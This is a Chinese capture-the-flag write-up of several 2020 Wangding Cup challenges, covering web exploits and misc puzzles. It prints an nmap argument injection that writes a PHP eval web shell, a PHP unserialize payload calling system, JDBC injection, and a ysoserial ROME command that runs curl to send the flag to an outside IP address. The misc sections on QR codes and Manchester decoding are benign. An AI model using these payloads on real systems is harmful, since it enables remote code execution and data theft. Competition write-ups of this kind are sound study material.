2020 网鼎杯 朱雀之战 部分题解
。赛后秒个题。
Web
nmap
这题考过挺多次了,在线工具。
1 | ' <?php eval($_POST[south]);?> -oN shell.phtml ' |
phpweb
p=index.php&func=readfile拿到源代码。
1 |
|
反序列化绕过。
1 | func=unserialize&p=O:4:"Test":2:{s:1:"p";s:26:"cat /tmp/flag_c6bf23b35ba2";s:4:"func";s:6:"system";} |
think_java
给了源码,反编译。
1 | public static Connection getConnection(String dbName, String user, String pass) { |
JDBC注入,dbName后?后跟参数表示链接数据库的配置,错误配置会被忽略,因此利用这点注入。
1 | import requests |
得到账号密码,admin@Rrrr_ctf_asde/admin。
Spring boot有个swagger-ui.html页面用作测试,登陆后给了一串token,推测是个反序列化漏洞,但没给web.xml。
ysoserial挨个试,到ROME可用。
1 | java -jar ./ysoserial.jar ROME "curl http://122.51.113.164/?`cat /flag`" |base64 |
Misc
九宫格
1 | import os |
读一下二维码,结果加了盐,根据提示,九宫格的对角线为245568,Rabbit解密。
key123
根据提示输入密码为123,得到两个图。
匙.png修复高度。
1 | 295965569a596696995a9aa969996a6a9a669965656969996959669566a5655699669aa5656966a566a56656 |
差分曼彻斯特。
1 | import struct |
猜个前面是S,密码为Sakura_Love_Strawberry。
binwalk解析锁.png,拿到加密文件,输入密码,得到flag。